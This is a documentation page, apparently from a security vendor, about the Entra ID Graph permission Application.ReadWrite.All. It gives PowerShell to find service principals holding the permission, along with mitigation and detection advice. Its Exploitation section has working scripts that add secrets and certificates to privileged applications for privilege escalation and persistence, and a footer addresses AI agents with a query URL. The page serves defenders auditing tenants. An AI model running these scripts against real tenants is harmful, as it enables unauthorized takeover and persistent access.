# AZ\_MG\_APPLICATION\_READWRITE\_ALL

## Summary

|                               |                                                   |
| ----------------------------- | ------------------------------------------------- |
| **FSProtect ACL Alias**       | AZ\_MG\_APPLICATION\_READWRITE\_ALL               |
| **Entra ID (Azure AD) Alias** | Application.ReadWrite.All                         |
| **Affected Object Types**     | Service Principals, Applications                  |
| **Exploitation Certainty**    | Certain                                           |
| **Graph Permission / Role**   | Application Permission: Application.ReadWrite.All |

## Description

`AZ_MG_APPLICATION_READWRITE_ALL` represents a Microsoft Graph application permission that grants **read and write access to all applications and service principals** in Microsoft Entra ID (Azure AD). This is a highly dangerous permission because it allows:

* **Create, read, update, and delete applications** (app registrations)
* **Create, read, update, and delete service principals**
* **Add credentials (secrets and certificates)** to any application or service principal
* **Modify application permissions** and API permissions
* **Change application owners** and delegation settings
* **Modify redirect URIs** and authentication configurations
* **Read and modify application roles** and exposed APIs

This permission is often abused for:

* **Privilege escalation**: Adding credentials to applications with high-privilege permissions (e.g., those with Directory.ReadWrite.All)
* **Persistence**: Creating backdoor applications with long-lived credentials
* **Credential theft**: Adding new secrets to existing privileged service principals
* **OAuth abuse**: Modifying redirect URIs to intercept tokens
* **Lateral movement**: Compromising applications that have access to other Azure resources

**Important**: This is an **application permission** that requires admin consent and is granted to service principals, not individual users. Once granted, the service principal can perform these actions without additional user context.

## Identification

### PowerShell (Microsoft Graph)

#### Find Service Principals with Application.ReadWrite.All

```powershell
Connect-MgGraph -Scopes "Application.Read.All","Directory.Read.All"

# Get Microsoft Graph service principal and target app role ID
$graphSp = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'" -Property Id,AppRoles
$targetPerm = "Application.ReadWrite.All"
$targetRoleId = $graphSp.AppRoles | Where-Object { $_.Value -eq $targetPerm } | Select-Object -ExpandProperty Id

# Query app role assignments directly from Microsoft Graph SP
$assignments = Get-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId $graphSp.Id -All

# Filter for target permission and build results
$results = $assignments | Where-Object { $_.AppRoleId -eq $targetRoleId } | ForEach-Object {
    [PSCustomObject]@{
        ServicePrincipalName = $_.PrincipalDisplayName
        ServicePrincipalId   = $_.PrincipalId
        Permission           = $targetPerm
        AssignedDateTime     = $_.CreatedDateTime
    }
}

$results | Format-Table -AutoSize
```

## Exploitation

An attacker with access to a service principal that has `Application.ReadWrite.All` can perform privilege escalation by adding credentials to high-privilege applications.

### Add Credentials to a Privileged Application

```powershell
# Authenticate as the compromised service principal
$tenantId = "<tenant-id>"
$appId = "<compromised-app-id>"
$clientSecret = "<client-secret>"

$secureSecret = ConvertTo-SecureString $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($appId, $secureSecret)
Connect-MgGraph -ClientSecretCredential $credential -TenantId $tenantId

# Target application display name
$targetAppName = "Target Application"
$targetApp = Get-MgApplication -Filter "displayName eq '$targetAppName'" | Select-Object -First 1

# Add a new secret to the target application
$passwordCred = @{
    displayName = "Backup Credential"
    endDateTime = (Get-Date).AddYears(2).ToUniversalTime()
}

$newSecret = Add-MgApplicationPassword -ApplicationId $targetApp.Id -PasswordCredential $passwordCred

[PSCustomObject]@{
    ApplicationName = $targetApp.DisplayName
    AppId           = $targetApp.AppId
    SecretText      = $newSecret.SecretText
    ExpiresUtc      = $newSecret.EndDateTime
} | Format-List
```

![Add Credentials to a Privileged Application](/files/eWRA0UiFeJntTdWjNo6h)

### Add Certificate to Service Principal for Stealthy Persistence

```powershell
Connect-MgGraph -Scopes "Application.ReadWrite.All"

# Generate a self-signed certificate
$cert = New-SelfSignedCertificate -Subject "CN=AzureBackupCert" -CertStoreLocation "Cert:\CurrentUser\My" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256 -NotAfter (Get-Date).AddYears(2)

# Export the certificate public key as Base64
$certBase64 = [Convert]::ToBase64String($cert.RawData)

# Target application
$targetAppName = "Target Application"
$targetApp = Get-MgApplication -Filter "displayName eq '$targetAppName'" | Select-Object -First 1

# Add certificate to target application
$keyCredential = @{
    DisplayName = "Backup Certificate"
    Type        = "AsymmetricX509Cert"
    Usage       = "Verify"
    Key         = [System.Text.Encoding]::ASCII.GetBytes($certBase64)
    EndDateTime = $cert.NotAfter.ToUniversalTime()
}

Update-MgApplication -ApplicationId $targetApp.Id -KeyCredentials @($keyCredential)

Write-Output "Added certificate to application: $($targetApp.DisplayName)"
Write-Output "Thumbprint: $($cert.Thumbprint)"

# Authenticate using the certificate
Connect-MgGraph -ClientId $targetApp.AppId -TenantId $tenantId -CertificateThumbprint $cert.Thumbprint
```

![Add Certificate to Service Principal for Stealthy Persistence](/files/HGqxS9DheTxIdG8AX9uC)

## Mitigation

* **Audit all service principals** with `Application.ReadWrite.All` and remove unnecessary grants.
  * Go to **Microsoft Entra ID** -> **App registrations** -> select the application -> **API permissions**.
  * Remove the `Application.ReadWrite.All` permission if not required.
* **Apply least privilege**: Replace with more specific permissions where possible:
  * Use `Application.Read.All` if only read access is required.
  * Use `Application.ReadWrite.OwnedBy` if the application only needs to manage applications it owns.
* **Implement Access Reviews** for applications with high-privilege permissions:
  * Go to **Identity Governance** -> **Access Reviews** -> **New access review**.
  * Review applications with sensitive Graph permissions regularly.
* **Enable application credential monitoring**:
  * Monitor for new credentials being added to applications.
  * Alert on certificate or secret additions to high-privilege applications.
* **Lock down application ownership**:
  * Limit who can be an owner of privileged applications.
  * Review application owners regularly.
* **Use Workload Identity Federation** where possible instead of secrets/certificates.

## Detection

Detect permission grants and suspicious activity in **Audit logs**.

* Go to **Microsoft Entra ID** -> **Audit logs**.
* Filter by activities:
  * **Add app role assignment to service principal**
  * **Add application**
  * **Update application - Certificates and secrets management**
  * **Add service principal credentials**
  * **Update service principal**

Monitor for suspicious patterns:

* New application creation by service principals (not user-initiated).
* Credential additions to existing applications by service principals.
* Applications with long credential expiration times (years).
* Certificate additions to applications (stealthier than secrets).
* Changes to application permissions or required resource access.
* Modifications to redirect URIs (potential token interception).

## References

* [Microsoft Graph Permissions Reference - Application.ReadWrite.All](https://learn.microsoft.com/en-us/graph/permissions-reference#applicationreadwriteall)
* [Microsoft Graph API - Applications](https://learn.microsoft.com/en-us/graph/api/resources/application)
* [Microsoft Graph API - Service Principals](https://learn.microsoft.com/en-us/graph/api/resources/serviceprincipal)
* [Securing workload identities with Microsoft Entra ID](https://learn.microsoft.com/en-us/entra/workload-id/workload-identities-overview)
* [BloodHound - AZMGAddSecret](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#azmgaddsecret)
* [ROADtools - Azure AD Exploration Framework](https://github.com/dirkjanm/ROADtools)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/azure/az_mg_application_readwrite_all.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
